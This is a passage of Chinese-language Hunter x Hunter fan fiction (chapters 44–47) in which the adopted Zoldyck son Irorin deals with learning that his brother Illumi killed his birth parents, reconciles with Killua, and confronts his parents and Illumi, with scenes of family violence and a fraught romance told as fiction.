“冰箱里准备好了蛋糕，还有布丁，房间里有你想吃的零食，好好地睡一觉。” 伊洛林垂下手，他捂住眼睛，克制住再哭一场的冲动。你看，人类多可怕，才会让痛苦成百上千倍放大。他还是没回，只是给格蕾西发了一条要到家了的消息，格蕾西回了个ok，又连续发了好几条询问，伊洛林一一作答。他的眼睛还肿着，精神恍惚，没有和打招呼的皆卜力说话，也没有和卡娜莉亚说下午好，他走过熟悉的家，走过庭院，路过三毛时也没有摸摸它的头，三毛呜咽一声，趴下了。 一路上，他没有遇到任何人，他径直去房间想要休息，却发现自己下意识来到了伊尔迷的房间。 于是将错就错，伊洛林换上睡衣，躺进被窝里。 残留的伊尔迷的味道催人昏昏欲睡，于是伊洛林确实睡着了，在这个随时能够把他杀掉的家里，在这个可以算得上是杀父仇人的家里，他安静沉睡着。 监视器播放着他的睡觉，柯特陪同着基裘，糜稽在旁侧，他们都清晰看见了伊洛林的状态。 红肿的眼睛，萎靡不振的状态，乱糟糟的头发。 没人说话，他们只是安静看着，静静等待着。 伊洛林梦到了小时候的事情，她其实不经常做梦，或者说很少很少，他会失去意识，被困意侵袭，眼睛紧闭再睁开，一夜已经过去。而他这次梦见了小时候，他趴在伊尔迷的怀里，伸手去拿读书卡片，伊尔迷陪着他，教他念单词。 他像个旁观者，看见伊尔迷的耐心。 那个时候，一开始，好像他说的第一个词错了，是伊路哥，于是伊尔迷纠正他，让他读出了伊尔迷。所以，后来他会说的第一个词是伊尔迷的名字，会叫的第一个家人是大哥，他们之间好像有太多第一次，以至于他的人生被伊尔迷填满。 而这个时候，只是在学一些比较生涩的单词。 “伊洛林，喜欢吃什么？” 伊洛林看见小小的自己努力思考着，那个时候自己其实也说不出什么话来，总是沉默着，于是下意识摇了摇头。 “没关系，揍敌客家可以给你买到很多东西。” “哥哥会努力赚钱，给伊洛林所有想要的，所以，可以贪心一点。” 年幼的伊洛林乖巧地靠在哥哥怀里，点了点头。 啊，是的，在这里，这段时间里，他不可控地爱上自己的大哥。他脑子不太好，觉得他温柔，觉得他在自己的生命里不可或缺，而后他意识到，这是错误的，因为他们是亲兄弟，而现在，难道要因为他们不是亲兄弟，而沾沾自喜吗？不可能的。他只会痛苦他们之间缺失了最重要的那一部分，不是家人的话，那就什么也算不上了。 是啊，是啊。 他想要的东西不论是什么，伊尔迷总会在任务结束之后带来，因为他想要的东西太少，太拘谨，太淡泊，于是他会把自己认为好的东西带回来，宝石，玩具，又或者是一些奇怪的生物。收到礼物变成了家常便饭，后来房间里太乱，就收拾到别的地方去，收拾到自己后来的房间去，这个房间里也就剩下了他和伊尔迷一起的东西。 伊洛林睡了很久很久，直到房门被推开一条缝。 他睁开眼睛，黑沉沉的天色里，没有一点灯光，月色从门口挤压进一点缝隙，缝隙里停留一双紫色的眼睛。 一个盒子被轻轻推了进来。 那个盒子他知道，是十岁那年生日，柯特送给他的礼物，很漂亮，也很昂贵，甚至发生了一点小插曲。因为柯特拍下的礼物被偷走了，所以性命堪忧的设计师连夜制作了一条新的，并且按照了伊洛林的特点在设计上添加了一点创新，保证过仅此一条，也会保密到底不公布，设计稿都配上寄了过来，才免于一死。 柯特合上了门，没有打扰他。 那个项链太华丽，于是伊洛林从来没有佩戴过。 他脑子里想起那个男人的话语——「你的父母，没有给过你任何饰品吗？例如……项链」 伊洛林从床上爬起来，捡起了盒子，他打开来看，那条项链安静地躺在里面，月亮模样，小黑猫慵懒攀附，伸手捞着柔软的流苏，珍贵无比的宝石闪烁光辉，而每一个细节都是价值连城的矿石或者宝石链接在一起。 ……可以用。 伊洛林将盒子收了起来，换好了衣服。 他推开门进入了训练室，自己开始从最初的训练开始做起，没有人来打扰他，没有人逼着他快点下决定，而每个人又都在等待着他。他还有时间好好思考，而他能够好好思考的地方，却在家里。 伊洛林不清楚自己运动了多久，直到失去所有力气躺在地上时，才感觉到眼眶又湿润。 他在发脾气。 对奇犽发脾气，对尼特罗会长发脾气，也对……伊尔迷发脾气。 那个时候的他难以控制呕吐的本能，情绪到了极限，而那个吻又加深了他的痛苦，他吐不出什么东西，只能痉挛着胃部，胃液灼烧喉咙，令他疼痛。伊洛林索性在电椅上坐下，用电击给予自己最强烈的刺激，让自己的大脑更清醒一些。 他在愤怒什么？ 他在愤怒自己被欺骗。 什么样的欺骗？ ……他不是他们的孩子，不是他的弟弟，和这个家庭没有任何的血缘关系。这是欺骗。那些喜欢是欺骗吗，那些爱是欺骗吗？全部一切都是假的吗？所以他才需要经过审查才能够成为家人，才能够被爱，所以……他们才会，那样，对吗？ 所以他长得不一样，他是不同的，他是…家人之外。 为 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揍敌客培养他，养育他，花出金钱和时间，花出耐心与关爱，他们养了一个自己毫无关系的孩子，已经很……很好了，是不是？他没那么傻，想什么如果伊尔迷没有杀掉自己的父母，这是任务，他出过无数次的任务。他不知道那个时候，自己被留下来的原因，所以他也不知道，自己是不是真的被完全欺骗，可是他确实痛苦，确实难过，若是自己没有投入这么多的情感，或许就就没有这么多的痛楚。 而猎人协会，确实没有第二个选择了，因为他不太出门，一直在揍敌客的庇护之下。 所以他只能恨自己，恨自己太脆弱，受不了那些真相。 在电流里他安静落泪，蜷缩着身体，想起曾经，想起他被接纳后的高兴，想起他的那些自以为是。 伊洛林抽噎了两声，他蜷缩在电椅上睡着了。 没有伊尔迷，也没有人敢来找他，于是他睡了三四个小时以后还在椅子上，微微睁开双眼，他似乎又明白点什么，只是又不想就这样下去，他不能什么都不做，也不能什么都不改变。 他想和奇犽说对不起。 他明明说过，不论什么事，他们都会是兄弟的。 他又洗了个澡，泡在了后院的温泉里，这本来只是普通温泉，可伊洛林身上的伤太多，于是就加入了各种各样的药材，变成了药材温泉，他浸泡在里头，闭上眼睛。是的，他，受了恩惠，他得到了利益，所以他……不应该这样。 而同时，猎人协会分部，考场中央。 伊尔迷站立在奇犽面前，褪去集塔喇苦的外貌，长长的黑发随风而动，奇犽在他的威压之下不敢动弹，颤抖着如临大敌，他畏惧着兄长，像畏惧父亲一样。 伊尔迷在火上浇油。 “对了……奇犽，你应该还不知道吧？” “哥哥杀掉了伊洛林的父母呢。” “所以奇犽你也应该清楚吧？感情对你来说是没有用处的，你很喜欢伊洛林，但是从今往后你们就是敌人了呢，哥哥也很苦恼……嗯？你不明白我的意思吗？” “我的意思就是，伊洛林只是我们家的养子，父母是被哥哥亲手杀掉的哦。” “像你这样的人啊，只需要用该不该杀来判断他人就好了。” “比如，杀了伊洛林，怎么样？” 奇犽的眼中一片空洞，思绪寸寸崩裂。 44. 44 回过神来时，奇犽已经身处飞艇之上。 他的手上染了血，是伊尔迷的血，还有……鲍得罗。 他坐在位置上，不受控制地颤抖起来，手心里干涸的血液仿佛也在控诉——你这个冷血无情的怪物。 他想起伊洛林的哭声，想起他行尸走肉般的动作，他垂下的眼睑遮挡住空洞的眼睛，干脆利落的战斗没有任何停顿。他想起来，小时候的伊洛林还会笑着叫他哥哥，虽然很少，虽然笑容的弧度不一定很大，却是他无法舍弃的回忆。 他没有感受过亲近的拥抱，冰冷的家是生疏与难以亲近的。 奇犽被困在揍敌客里，抬头看见的天空也并不完整，追求独立自主的家庭里，好像只有伊洛林能够感受到所谓的爱意。他的弟弟如同挂在蛛网上的蝴蝶，哪怕被蛛丝缠绕至窒息，也会在破碎里品到一点难以置信的爱意。他渴望着父母的爱，渴望着他们的认同。 他总是温柔对待着自己的兄弟，不论是糜稽，还是柯特，他们都喜欢伊洛林，因为他平和安静又体贴，因为他总能理解他们的需求，关心他们。 哪怕你不需要关心，也会因此而柔软。 奇犽掌心的血液被眼泪冲淡，他难以控制自己的眼泪，大滴大滴落在掌心里。 他想过千万种可能性，事实却更可怕。 伊洛林再也不会笑着看他，再也不会拉着他的手，再也不会和他一起玩为他打掩护，再也不会告诉他不论天涯海角要做什么都支持了。 他甚至无法真正地为伊洛林做什么，伤到伊尔迷之后第一反应是更加剧烈的惊恐，他的悲愤又压过了这一点，又在压力之下他认了输。格蕾西似乎比他更愤怒，可是奇犽的脑子已经不清醒了，他唯一思考的是另一回事，因为走到一旁时他一直在想，自己的出生是不是个错误。 一定是吧？ 所以，他才会对伊洛林的遭遇视若无睹，视而不见，他也一直以为家里的训练是烦人但正常的，可以让自己变得强大，赢了的时候也会畅快淋漓。 可伊洛林如果不是家里的人，那么他所受到的，完全是…… 完全是无妄之灾。 他本来可以快乐地长大，做一个和小杰差不多的人，他一定也会有开朗的笑容，不计较的性格，温柔包容的心。他也一定会，幸福…普通，正常的，幸福。 因为他在揍敌客，所以这一切都要他拼了命才能获得。 如果你不在揍敌客就好了…如果你，不是我弟弟的话，一定会更好的。如果你不是我弟弟的话……眼泪将血都冲刷淡了，却在衣服上留下了痕迹，像奇犽的那些痛苦，像是并不存在却又更加刻入灵魂深处。 他回家时谁也不想搭理，糜稽其实也没什么话好和他说的。 他一鞭子又一鞭子抽下去，伤口愈合的时候会又痒又难受，他揉着伤口想伊洛林，想他的难过他的担忧，作为家里唯二知道的孩子，糜稽也不是不难过，他只是想，亲情血缘是否真的重要，他和伊洛林是不是再也不能做朋友？ “喂，二哥。” 很少见的，奇犽没喊他肥猪，也没有花言巧语骗他，只是以一种闲话家常的口吻问他：“伊洛林……在吗？” “……在大哥房间里，一直没出来。” “你知道，一直都知道，对不对？” “啊，我还知道为什么大哥要突然养他。”糜稽停下来歇会儿，他抽了口烟，突兀将烟头碾压在了奇犽腹部，这种小伤只能算是蚊子叮咬，谁都不是伊洛林，会为了对方的伤而难过：“因为你叫他弟弟，你想要的东西，大哥从来都会满足你。” 奇犽不说话了，他在心里数着鞭子，一字一句告诉自己，这是他该承受的。 原来真的都怪我。 桀诺从门口进来望了一眼，想想自己几年前还感叹过，不是亲生的也是小棉袄，这下小棉袄要炸了，自己心里还挺难受，而家里有谁能高兴得起来？ “糜稽，不要对奇犽乱说话。” “……爷爷，但是…我知道了。” 桀诺转身出门，本想溜达去监控室，看看伊洛林在做什么，出门的时候却看见伊洛林正站在那。他的视线有些不敢和桀诺交互，张了张嘴，身体却放松下去。 “爷爷。” “……好点了？” “嗯，让你们担心了。” “来找奇犽？” “稍微，想说点话。” “伊洛林，欢迎回家。” 伊洛林呼吸一顿，眼眶又红了一圈，他脸上的笑容还是有些勉强：“我回来了，爷爷。” 糜稽听见推门声，回头去看，伊洛林拧开了门把手。他站在那，望着面前的两位哥哥，糜稽立刻叫出了他的名字，奇犽却是低着头一声不吭。糜稽其实很激动，伊洛林出房间了就是好事，他想说点什么，又挠头，不敢多说，怕自己说错了什么伊洛林就哭了。 “那个，你，你好点了？要不要吃什么……我这有零食，呃，不然做点热的？” “不用了，谢谢…二哥。” 糜稽心里一松，他丢下鞭子走过来，摸了摸伊洛林的发顶。 “你找奇犽对吧？和他说话吧，二哥还有点事。你们继续，你们继续。”他心知肚明，奇犽的状态不对，应当是发生了什么，他现在不能让家里的安排出现变故，可恶，为什么啊，二哥也很牵挂你的啊！糜稽愤愤走远，当然，会不会在走廊上爆发，取决于他脑子能不能思考过弯。 门关上，剩下的就是寂静。 伊洛林走上前去，将奇犽从上面放下来，他现在大概是憋了口气在胸口，所以也不愿意去想，自己放下奇犽的话家里会不会生气。奇犽落地，转了转手腕，他没想过伊洛林会来找自己，如果要恨，伊洛林最恨的应该也是他才对。 伊洛林闭了闭眼，抱住了奇犽，双臂缓缓搂紧了他的脖颈。 “对不起，哥哥。” “那个时候，我没有顾及到你的感受。对不 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伊洛林最近哭得太多了，眼睛生疼，奇犽的手指冰凉，轻轻磨蹭过他的眼角，他们贴得很近，像曾经亲密无间的他们，自以为是双胞胎，密不可分。 还能够一如从前吗？还能够像曾经一样吗？你还会…用那样的眼神看我吗？ 奇犽不够像揍敌客，他哽咽着，脆弱，让人不够满意。 但不够满意的人从来不是他们。 “我不会再对哥哥你发脾气了，绝对。” “不，发脾气也可以，发脾气也可以！”奇犽擦了一把眼泪：“只要你，还是我的弟弟，做什么都可以……但是，如果你要恨我要离开，我也，我也可以……” 不，他没办法接受。 “……对不起。” “那我明天会说，没关系。” 伊洛林拉了拉他的手，尾指轻轻勾在一起，像做了一个约定那样。奇犽终于确信他不会离开自己，或者说，哪怕离开家庭也不会对自己生出恨意。他有一瞬间觉得自己十分可恶，竟然希望伊洛林不会恨自己，又祈祷着伊洛林会分得清楚，要恨就恨揍敌客，自己只要不被憎恨着做什么他都愿意。 伊洛林脚下虚浮了一瞬间，缓缓坐了下来，太久没吃东西，他已经有些脱力，奇犽从刑具里翻出一条巧克力，藏在这里糜稽都没发现，最后一条巧克力，他塞给伊洛林。 伊洛林拆开包装纸，一人一半，并肩坐着在灰暗且冰冷的惩罚室内。 巧克力很甜，奇犽就喜欢这种甜得过分的东西。 伊洛林不是很喜欢，但他记得顾深深喜欢，从前伊尔迷给他买巧克力，八成都被他偷偷塞给了奇犽，剩下两成都在平均分，奇犽总是会吃得干干净净。 “……大哥，怎么样了？” 奇犽一口气没提上来，差点被伊洛林气晕。 “你不要再念着他了！！现在立刻马上，恨他，快点！！” 45. 45 伊洛林被奇犽教育了半个点，感觉还是差点意思。 如果是格蕾西应该会连续他一个小时都不带停的，但是，果然奇犽有点像格蕾西啊。 他如此想到。 伊洛林自回家后终于露出了一个稍有些柔和的笑容。奇犽顿了顿，让伊洛林别用笑脸收买人，伊尔迷做的事情，做了就是做了，没有任何人能为他说什么，如果伊洛林要恨也是理所当然的事情啊！ “可我不恨。”伊洛林说道，他摸了摸手腕上的镯子，很细的，集塔喇苦塞给他的镯子：“因为我知道，我们是揍敌客。” 我们是揍敌客，是杀手，是拿钱办事的人。 他做的事我也在做，所以我无法恨他。 “……有时候，试着不需要去理解也可以吧？” “有啊，我有不去理解的时候。”虽然很小。伊洛林拍了拍裙子，他站了起来，突兀想到了什么，拿起手机看了一眼，不太确定地询问奇犽：“大哥是在大庭广众下告诉你的？格蕾西也在吗？他怎么说的？” 奇犽努力让眼神变得没那么无奈：“他怎么说的？你想象不出来吗？” ……糟糕了。 手机一震。 伊尔迷发过来三张照片。 第一张，他的脸肿起来的自拍；第二张，手腕骨折的照片；第三张，考试会场塌了半边的废墟。 还有一张猫猫受伤倒地的表情包。 奇犽欲言又止，止又欲言，不可置信，抓耳挠腮。 “……他谁啊？！” “……你哥。” “我不信！” 伊洛林没回，只是打了个电话过去给格蕾西，那边响了好几声才接起来，那一瞬间还能听见格蕾西在气急败坏骂着「天杀的你们这群人我嫩爹」和「撒开，不然我连你一起打」，某土豆尖叫着不要拆了和尼特罗特有的笑声，格蕾西中气十足喂了一声，声音急转直下，从孔武有力变成了体贴温和：“怎么了怎么了，休息好了吗？没事的我这边一切都好！” 伊洛林沉默了两秒，很轻地笑了一声：“打得好。” “……哼！” 小猫不语，只是一味地因为被夸了而趾高气扬。 “对了对了，你在家里等我下，我和小杰他们约好了去找你，让我看看你家到底是什么样！” “好。我等你来，给你看我家养的狗！” “……谁家？” “我们家。” 被伊洛林从善如流安抚后，格蕾西满意挂电话，两秒后反应过来，不对！什么我们家，是他们家才对！！但她又想到伊洛林现在的心情，应该还可以，这又让她放松下来，转了转手腕，心满意足地感受到些许疼痛。 这可是狠狠给了伊尔迷一拳后的勋章。 “小杰，下次这种事，我们再一起干。” 小杰作为拧断伊尔迷胳膊的罪魁祸首，不好意思地嘿嘿笑了一下，“对了奇犽怎么样了？” “忘记问了，没事，死不了。” “……格蕾西真是的！！” 两个人互相击了个拳，完全没把现在的满地狼藉放在心里，反正其实已经结束了，剩下的收拾烂摊子的工作谁也没上心，格蕾西指着在一旁看着他们的伊尔迷，龇牙：“别用你那破表情包和伊洛林卖惨了，把眼睛睁得这么大，他就能够被你可爱到吗？哈哈……他还真有可能。”被朋友无语到的格蕾西觉得有点牙疼，挖野菜挖成这样吗。 伊尔迷无辜，他没给伊洛林拍奇犽挠他的那一爪子，那个伤，另有他用。 不过逼出奇犽的极限也是不错的。 看起来能和爸爸制定更加完美的教育方针了，奇犽真的是，明明承担了很重要的家庭责任呢，要是不好好成长起来，爸爸何时才能退休呢。 总之，先回家吧，伊洛林一定在等着自己呢。 伊尔迷心情愉悦，并不治疗，直接上了回家的飞艇。 而此刻已经聊好了的奇犽与伊洛林暂且分开了，他们一个要接受惩罚，一个要去见自己的父亲，哪怕现在知道了他们之间只有收养关系也没有改变。他整理了思绪和衣服，迈步走向席巴经常在的那间房间。 佣人汇报了伊洛林的前来，没几分钟门就打开了。 席巴收起了一堆的文件堆在一旁，有佣人捧起来送下去，那是账单、税款和任务清单。他盘腿坐在位置上，房间里的魔兽凑过来蹭了蹭伊洛林的手背，而后乖巧坐在了一旁，四目相对，席巴的目光平和，他略带探究，而伊洛林深呼吸，他抬起头时冲上前去。 魔兽骤然紧缩了瞳孔，席巴却微微勾唇一笑，他伸出手接住了像是要攻击的伊洛林，将他搂了个满怀。 有时候真觉得自己养了个女儿。 伊洛林抬起膝盖压在座位上，撑起身体坐在父亲的腿上，勾着脖颈埋头在他怀里，呼吸着父亲的气息从而慢慢平静下来。他确认了，席巴对他的基础信任，这样他就又能放下一些，如果席巴反应很快地做出抵抗，那就证明席巴是在防备他的，那样的话哪怕是真的也不是伊洛林想要的。 “爸爸，有件事要告诉你。” “嗯，什么？” “猎人协会的会长说我是女生。” “……？” 还以为自己要听到伊洛林说自己已经知道真相的席巴难得哽了一下。 作为家里最会撒娇的存在，伊洛林的性别是男性这一点反而让人担忧，因为这样的性格不够男子汉，哪怕对孩子的性格没有太多要求，但席巴还是不免担忧，有一点早知道不让伊洛林穿女装长大了，要不要让柯特也穿回男装。 但是，什么意思？他养的其实是个女儿？ 席巴目光下移，落在伊洛林平坦的……上，不是，等下，他怎么记得是带把的？ 伊洛林坦然相待。 “还有就是，大哥要追我这件事，您确实是知道吗？” “……？？？” 席巴彻底懵了。不是，你等会儿，谁？ 好的，看起来席巴不知道。伊洛林不知为何有点想笑，他晃了晃腿，又想了想，问席巴怎么看待这件事。怎么看？他还能怎么看，这是席巴第一次体会到普通人父亲想要抽皮带揍孩子的心 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“但你也很清楚，不是吗？” 是的，抛弃在外的一切，才能得到揍敌客家的爱，不允许背叛，不允许互相残杀，所以伊洛林不能恨伊尔迷，他只能爱他，就像爱着家里的每个人一样。不允许计较，不允许背离，甚至不允许做出任何有违家训的任何事情。 揍敌客家可以承担伊洛林的后果，不论是好的，还是坏的。 如果伊洛林走错了路，他们会充满遗憾地杀掉他，为他立一块碑，别的就没有了。 揍敌客家和外人想得不同。 对家人，他们可是很有耐心，又温和的。 每个孩子都不同，所以他们对待的方式也不同，伊尔迷放养最好他能带给揍敌客家更好的收入，糜稽只需要警惕别在网络上乱来就行，奇犽需要从头到脚注意毕竟他是未来的继承人，伊洛林心思细腻则需要多一点关爱，柯特在母亲的怀里长大目前是最端正的小孩，和他大哥一样不用过多地操心。 “是的，我痛苦又困惑，为什么我不是您的孩子。” “身体里流淌着不一样的血，还能做家人吗？我在家里，真的是被爱着的吗……我不知道，不确定，不敢去求证，因为我害怕你们都是在哄骗我的，虽然我不知道有没有哄骗我的理由。” 他心情依旧低落。 无法接受自己不是亲生的事实。 他的痛苦其实有些莫名其妙，但格蕾西却毫不觉得，或许他失去的记忆里，能够找到他为何如此痛苦的理由，问格蕾西的话，会得到答案吗？ 伊洛林低垂着眼睫，他想，自己忘记了不该忘的东西。 他做孩子太久，忘了自己也是成年人。 只顾着逃避，只顾着耳聋眼瞎，以为这样就能够幸福，但是，或许他并不应该这样。小孩可以逃避，而大人需要迎难而上，哪怕前方是万丈深渊，他也要往前去。 “我想……” “去知道真相。” 46. 46 伊尔迷久违收到了伊洛林的消息。 只有一句话。 「我不是已经拉黑你了吗，从猎人考试开始，为什么还能给我发消息？」 伊尔迷说了实话。 「买回来的时候让糜稽改造过，拉黑是不行的。」 伊洛林不说话了，他就知道。 席巴的慈父形象颇为成功的树立，但伊洛林知道，自己得到的和自己能够创造的都同样重要，他们是令人闻风丧胆的杀手一家不假，但他们也会用这种最基础的人类感情维系全家，伊洛林很清楚这一点。 而还在房间里的席巴抚摸着宠物的头顶，想着伊洛林的处理事情方式。 太天真，毛毛躁躁，不成熟，也不成器。 但他的优点在于很适合以外人的身份住在揍敌客家，因为揍敌客的教育方针容易让那些人不解和怨恨，而伊洛林对事不对人的做法十分不错，他畏惧过怕过逃避过，训练和杀人都是，但最后他都会努力硬着头皮去坚持，而不是一味的憎恨着训练自己的人和家庭。 桀诺从幕后慢步走出，背着手站在席巴身侧，“这孩子做出了选择，哪怕他明白，他也做出了选择。” “啊，这是当然的，毕竟他可是我们揍敌客家养出来的孩子。” 最适合的一点是，这孩子对家人的执念，太深了。 他无法拒绝好意，爱意，哪怕这份爱是痛不欲生的，太容易被掌控的伊洛林，最好只掌控在自己家里。 揍敌客很需要这种在意家人的孩子，甚至是，儿媳妇。 “我倒是觉得伊尔迷喜欢他是一件好事了。” 席巴侧头望了一眼自己的父亲，觉得他有点站着说话不腰疼，这大儿子对杀人在行，追人呢？一窍不通！他想到伊尔迷查探伊洛林性取向的手段就头疼，放养过头就是会变成这样。席巴反省了一下自己，认为应该对伊尔迷进行婚约教育，不是他以为的直接控制了就行，这样的话婚姻会进行不下去然后离婚就糟糕了。 “但是伊洛林怎么会是女生呢？” “生男生女都一样。”桀诺拍了拍儿子的肩膀，浮现些许笑意：“太好了，我们揍敌客家有女孩了。” 他得给孙女转点零花钱。 于是伊洛林很不怎么意外地收到了五百万零花钱。 他和桀诺的聊天记录一般都是他进行一些简单的问候，桀诺进行一些简单的转账，还有他没说话也突如其来的转账，伊洛林收下钱，回了个小猫捧花说谢谢的表情包。 看了一眼自己的账户，里头的数额已经到了四十六亿。伊洛林仓鼠一样屯钱屯了这么久，主要是想请家里人把西索杀掉，但他还不清楚格蕾西是不是想自己动手，而且钱也还不够，就先按兵不动了。 格蕾西发了张照片过来，是两张猎人证。 格蕾西：出发出发，我已出行！ 伊洛林：路上小心！ 伊洛林揉了一把剑，他的心情不算很好，堵塞了一团棉花在胸口，哪怕是现在看起来还行，他都有些难以言喻的郁闷。无法接受自己不是亲生的，亲生和收养的根本是两回事，他想要的，是真正的家人……这种想法在脑海里盘旋，如果是亲生的会很爱我，如果是亲生的……不，不是，亲生的，也有不爱的。 他烦躁不安的心在看见基裘与柯特时得到了暂时的平静。 母亲永远是最让他依赖的词汇，而喊出口的妈妈也有浓烈的亲近意味。 “……伊洛林，妈妈很高兴……” 兴奋的言语抑制住颤抖的声音，她伸出双臂，依旧亲密无间将自己的孩子搂在怀里，养猫养狗，十二年也有感情，更何况是人，会喊妈妈，会努力做事，认真杀人，伊洛林…不怎么完美的伊洛林，但是没关系，不需要完美，只要是揍敌客家的孩子那种事情怎样都无所谓！她会培养伊洛林，成长为出色的杀手，这就已经足够了！ “你做出了选择…做出了选择！！” 伊洛林依偎在母亲的怀里，他感受到母亲因为激动而颤抖的双手，这双手给他换过衣服，喂过牛奶，抽打过他，也拉开过电椅，她总是那样高亢地说着话，糜稽正是遗传了她的神经质。但是她永远是为孩子思考更多过于其他，伊洛林从未憎恶过她，因为他渴望的是母爱，而基裘给予了他母爱。 “妈妈……让你担心了。” “伊洛林——！！”基裘托斯他的脸，电子眼上不断变化着图案，隔着那装置，母亲似乎在看着他：“女孩子是怎么回事？格蕾西呢，让她来这里！让她跟你在一起！” “不行的，妈妈。”伊洛林安静望着她：“格蕾西讨厌揍敌客。” “真是过分啊…明明是伊洛林的朋友！” 基裘打探过格蕾西的消息，资料都有一叠，她已经做好了格蕾西和伊洛林结婚的准备，但是现在居然告诉她不行？如果伊洛林不行，那柯特也不是不行，糜稽也可以只要她不介意！揍敌客家的孩子永远是最好的，她怎么可能看不上？！ “妈妈想要女儿吗？” 冰凉的手指抚摸过伊洛林的脸，基裘的心脏也不受控制地剧烈跳动。 “妈妈想要的是伊洛林。” 这句话很轻，难得没有情绪夸张。 不论你是不是收养的，妈妈都会爱着你，和自己的孩子一样地爱着你。 “……对不起，是我一直在钻牛角尖，我太害怕了。”伊洛林攥紧了基裘的衣角，他清楚地知道自己在害怕，他害怕自己失去现在有的一切，害怕自己只是在欺骗里，他的绝望被推到了最大最极限的位置，爆发得彻彻底底。 说不明道不清的恐慌，和空洞记忆里传来的情绪，他们合二为一，变成了歇斯底里的悲鸣，就好像在说。 你看，哪怕换了一个世界，你也依旧是没人要的。 你不配被疼爱，你不配有家人，你天生低贱，你天生就该被踩在脚底。 以为自己真的被爱了吗？结果竟然都不是亲生的。 疼你爱你吗，自以为是的东西，他们根本没有。假的 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伊洛林抬起眼睛：“妈妈，我爱你。” 我爱你，是认真地爱你，感谢你做我的妈妈，感谢你……所以，你会永远是我妈妈的，对不对？不论我是谁，不论我做了什么，不论我在哪里，你都是妈妈，对吗？ 基裘的电子屏变成了爱心。 这股气势真是不错，真的……让人心动啊！她在伊洛林的脸上留下无数个亲吻，操作系怎么会不爱呢，她太了解了，所以理解伊尔迷的心情，啊啊，既然格蕾西不可能的话，那就真的支持一下伊尔迷吧。她的伊洛林，只能留在家里！只能在这里！永远的，在这里。 伊洛林回了房间。 他感受到了微妙的不同，于是迈步走向浴室，推开门，地上是蜿蜒的血迹，而再推开庭院的门，伊尔迷正泡在里头，温泉升腾袅袅热气，长发浸泡在水里，他回头看了一眼伊洛林，视线一如既往的冷淡没有多余的情绪，转过身时，肩膀上却有三道撕裂伤，狰狞暴露在空气里。 伊洛林不可避免的心下一紧，因为伊尔迷，已经很少受伤了。 他看着伊尔迷的伤，脸上，胳膊，肩膀，一个比一个精彩。这种时候他却真的会心疼。 “用那些话惹怒奇犽的好处在哪里？” “有很多哦。伊洛林不是最清楚哥哥了吗？没有好处的事情，哥哥是不做的。” 他的大哥，长发蜿蜒如同鬼魅。 幽深，黑邃的双目紧紧凝视着伊洛林，他竟然昂首，任由弟弟将双手放在他的脖颈上，热气扑面而来，伊洛林低下头，他和伊尔迷对视。 他害怕的是…他也是假的。 伊尔迷是他感受情感最直接而激烈的来源，你是假的吗？你是假的的话，要怎么办呢？ 哗啦—— 他被伊尔迷扯下了水。 47. 47 “你根本不确认我是不是真的不止十二岁吧？” “是伊洛林太笨了，套话太容易。” “……” 伊洛林被自己无语笑了，格蕾西到底是怎么受得了自己这么蠢的，偶尔她厌蠢症都得发作吧？但此刻伊洛林泡在温泉里，感受到那些本应该在周围保护的佣人齐刷刷地离开，而伊尔迷还睁着那双大眼睛，无辜地看着他，所以伊洛林也不好意思说自己确实蠢得可怕。 现在是他手还握在伊尔迷脖子上。 这个情况很危险。 伊尔迷肩膀有伤，手臂骨折，这两点能让他好杀程度增强一些，大概是从绝对不可能杀掉变成绝对不可能杀掉，好吧，是没有任何区别。但伊尔迷用剩余那只还好好的手搂着伊洛林的腰，他们贴得很近，只隔着一层布料，甚至不是两层。伊尔迷的福利大放送，身上一件衣服也没有，他大概是故意的，伊洛林姑且明白这一点。 “想对哥哥做什么？” “什么都可以吗？” “当然。” 伊洛林有些不好意思地笑了笑，而后，他骤然用力掐着伊尔迷的脖子把他摁进了水里。 这一点大概伊尔迷也没有预料到，因为水下他微微愣了愣，长发浮动在水中，他呛了好几口水，鬼魅一般的脸甚至多了几分扭曲，伊洛林浑身都在抖，他几乎克制不住从脊梁骨攀上来的那股子寒意——那可以算得上是寒意吗？不，是，快乐。 伊尔迷没有挣扎，但他狼狈而难受，但是很快，伊洛林两只手把他扯起来，听见他咳嗽和呛水的声音。伊尔迷身形不稳压在了伊洛林的身上，伊洛林的腰撞到了温泉边缘，但他们谁也没说话，伊尔迷品尝死亡，而伊洛林品尝掌控的滋味，这一刻他们的地位扭转了。 美妙得可怕。 怪不得你喜欢把我握在手掌心里啊。 伊洛林的手指依旧停留在伊尔迷的命脉上，他有意无意撩拨那条动脉，就像伊尔迷握住他的喉咙时，用拇指摩挲他的唇瓣那样，轻描淡写，又不容抗拒。 他能够感受到，伊尔迷的喉结因为努力咳出呛到的水而滚动，高大的身形与紧实的肌肉笼罩在伊洛林的上方，他们之间的体型差距大，狮子咬住了小猫一般，可这个时候，伊洛林感受到的不是曾经的长兄不可违抗，而是另一种全新的体验。 “哥哥，杀掉了我的父母。” 伊洛林低语，他像是在说给自己听，又像是在解释刚刚那个行为。他完全湿透了，衣服紧紧贴在身上，而他也攀附在伊尔迷的身前，他们亲密无间的帖在一起，说这种话都像是在讲情话一样。 伊尔迷缓了过来，他感觉其实还不赖。 自己没多少次体验过生死危机，更别提是自己从小养大的弟弟，想把自己亲手杀死。惊讶过后是愉悦，痛苦里夹杂着满足，生与死混淆边界线让他分不清楚自己是喜欢刺激的感受还是喜欢伊洛林突兀的转变，他抚过伊洛林变短的头发，用同样低沉的话语回应着伊洛林。 “所以呢？” 我杀了你的父母，所以呢？ 所以你要离开我，要憎恨我，要忤逆我违背我，要杀了我吗？哥哥可是会很难过的啊。还好你刚刚其实没有杀气呢，不然哥哥就会动手了…… 小脾气和真动手，伊尔迷分得很清楚。 伊洛林张口咬住了伊尔迷的脖颈。 他用了死力气，像是要从伊尔迷身上咬下来一块肉一般，尝到了血的味道才缓缓停下。而后他一言不发，拉过伊尔迷受伤的那只手，先正骨，再拔出中医针，以一种并不科学的方式完成了这次的治疗，伊尔迷转了转手腕，挑眉夸了句熟练度不错。他没问伊洛林为什么要咬自己，伊洛林也没说为什么要咬他，咬了就咬了，蹬鼻子上脸罢了。 发脾气的时候得顺毛，这是常识。 “哥哥你完全没有愧疚。” 伊尔迷想了想，他在温泉池子里坐下，拉着伊洛林坐在自己腿上。他们面对面，比一般兄弟亲昵。 “说实话，不仅完全没有愧疚，还会感谢他们那么容易就被杀掉了。否则哥哥就会失去你了。” 伊洛林顺从了他，但听他说这话还是撇了撇嘴。 